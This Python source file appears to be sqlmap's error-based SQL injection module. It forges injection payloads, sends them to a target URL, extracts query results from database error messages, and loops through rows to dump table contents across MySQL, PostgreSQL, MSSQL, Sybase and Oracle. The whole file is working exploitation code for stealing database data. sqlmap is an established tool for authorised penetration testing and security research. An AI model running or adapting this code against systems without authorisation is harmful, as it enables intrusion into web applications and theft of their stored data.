#!/usr/bin/env python

"""
$Id$

Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""

import re
import time

from lib.core.agent import agent
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToSessionFile
from lib.core.common import extractRegexResult
from lib.core.common import Backend
from lib.core.common import initTechnique
from lib.core.common import isNumPosStrValue
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import PAYLOAD
from lib.core.settings import FROM_TABLE
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume

reqCount = 0

def __oneShotErrorUse(expression, field):
    global reqCount

    check = "%s(?P<result>.*?)%s" % (kb.misc.start, kb.misc.stop)
    nulledCastedField = agent.nullAndCastField(field)

    if Backend.getIdentifiedDbms() == DBMS.MYSQL:
        # Fix for MySQL odd behaviour ('Subquery returns more than 1 row')
        nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))")

    # Forge the error-based SQL injection request
    vector = agent.cleanupPayload(kb.injection.data[PAYLOAD.TECHNIQUE.ERROR].vector)
    query = unescaper.unescape(vector)
    query = agent.prefixQuery(query)
    query = agent.suffixQuery(query)
    injExpression = expression.replace(field, nulledCastedField, 1)
    injExpression = unescaper.unescape(injExpression)
    injExpression = query.replace("[QUERY]", injExpression)
    payload = agent.payload(newValue=injExpression)

    # Perform the request
    page, _ = Request.queryPage(payload, content=True)
    reqCount += 1

    # Parse the returned page to get the exact error-based
    # sql injection output
    output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)

    dataToSessionFile("[%s][%s][%s][%s][%s]\n" % (conf.url, kb.injection.place, conf.parameters[kb.injection.place], expression, replaceNewlineTabs(output)))

    return output

def __errorFields(expression, expressionFields, expressionFieldsList, expected=None, num=None, resumeValue=True):
    outputs = []
    origExpr = None

    for field in expressionFieldsList:
        output = None

        if field.startswith("ROWNUM "):
            continue

        if isinstance(num, int):
            origExpr = expression
            expression = agent.limitQuery(num, expression, field)

        if "ROWNUM" in expressionFieldsList:
            expressionReplaced = expression
        else:
            expressionReplaced = expression.replace(expressionFields, field, 1)

        if resumeValue:
            output = resume(expressionReplaced, None)

        if not output or (expected == EXPECTED.INT and not output.isdigit()):
            if output:
                warnMsg = "expected value type %s, resumed '%s', " % (expected, output)
                warnMsg += "sqlmap is going to retrieve the value again"
                logger.warn(warnMsg)

            output = __oneShotErrorUse(expressionReplaced, field)
            logger.info("retrieved: %s" % output)

        if isinstance(num, int):
            expression = origExpr

        if output:
            output = output.replace(kb.misc.space, " ")

        outputs.append(output)

    return outputs

def errorUse(expression, expected=None, resumeValue=True, dump=False):
    """
    Retrieve the output of a SQL query taking advantage of the error-based
    SQL injection vulnerability on the affected parameter.
    """

    initTechnique(PAYLOAD.TECHNIQUE.ERROR)

    count = None
    start = time.time()
    startLimit = 0
    stopLimit = None
    outputs = []
    test = None
    untilLimitChar = None
    untilOrderChar = None

    global reqCount

    reqCount = 0

    if resumeValue:
        output = resume(expression, None)
    else:
        output = None

    if output and (expected is None or (expected == EXPECTED.INT and output.isdigit())):
        return output

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    # We have to check if the SQL query might return multiple entries
    # and in such case forge the SQL limiting the query output one
    # entry per time
    # NOTE: I assume that only queries that get data from a table can
    # return multiple entries
    if " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_TABLE) or (Backend.getIdentifiedDbms() in FROM_TABLE and not expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]))) and "EXISTS(" not in expression.upper():
        limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
        topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)

        if limitRegExp or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                if limitGroupStart.isdigit():
                    startLimit = int(limitRegExp.group(int(limitGroupStart)))

                stopLimit = limitRegExp.group(int(limitGroupStop))
                limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if limitRegExp:
                    limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
                    limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1
                elif topLimit:
                    startLimit = 0
                    stopLimit = int(topLimit.group(1))
                    limitCond = int(stopLimit) > 1

            elif Backend.getIdentifiedDbms() == DBMS.ORACLE:
                limitCond = False
        else:
            limitCond = True

        # I assume that only queries NOT containing a "LIMIT #, 1"
        # (or similar depending on the back-end DBMS) can return
        # multiple entries
        if limitCond:
            if limitRegExp:
                stopLimit = int(stopLimit)

                # From now on we need only the expression until the " LIMIT "
                # (or similar, depending on the back-end DBMS) word
                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    stopLimit += startLimit
                    untilLimitChar = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
                    expression = expression[:untilLimitChar]

                elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                    stopLimit += startLimit
            elif dump:
                if conf.limitStart:
                    startLimit = conf.limitStart
                if conf.limitStop:
                    stopLimit = conf.limitStop

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_TABLE and expression.upper().endswith(FROM_TABLE[Backend.getIdentifiedDbms()]):
                    test = False
                else:
                    test = True

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if re.search(" ORDER BY ", expression, re.I):
                    untilOrderChar = countedExpression.index(" ORDER BY ")
                    countedExpression = countedExpression[:untilOrderChar]

                if resumeValue:
                    count = resume(countedExpression, None)

                if not stopLimit:
                    if not count or not count.isdigit():
                        _, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
                        count = __oneShotErrorUse(countedExpression, countedExpressionFields)

                    if isNumPosStrValue(count):
                        stopLimit = int(count)

                        infoMsg = "the SQL query used returns "
                        infoMsg += "%d entries" % stopLimit
                        logger.info(infoMsg)

                    elif count and not count.isdigit():
                        warnMsg = "it was not possible to count the number "
                        warnMsg += "of entries for the used SQL query. "
                        warnMsg += "sqlmap will assume that it returns only "
                        warnMsg += "one entry"
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        warnMsg = "the SQL query used does not "
                        warnMsg += "return any output"
                        logger.warn(warnMsg)

                        return None

                elif (not count or int(count) == 0) and (not stopLimit or stopLimit == 0):
                    warnMsg = "the SQL query used does not "
                    warnMsg += "return any output"
                    logger.warn(warnMsg)

                    return None

                try:
                    for num in xrange(startLimit, stopLimit):
                        output = __errorFields(expression, expressionFields, expressionFieldsList, expected, num, resumeValue)
                        outputs.append(output)

                except KeyboardInterrupt:
                    print
                    warnMsg = "Ctrl+C detected in dumping phase"
                    logger.warn(warnMsg)

                duration = calculateDeltaSeconds(start)

                debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
                logger.debug(debugMsg)

                return outputs
    else:
        return __errorFields(expression, expressionFields, expressionFieldsList)

    return outputs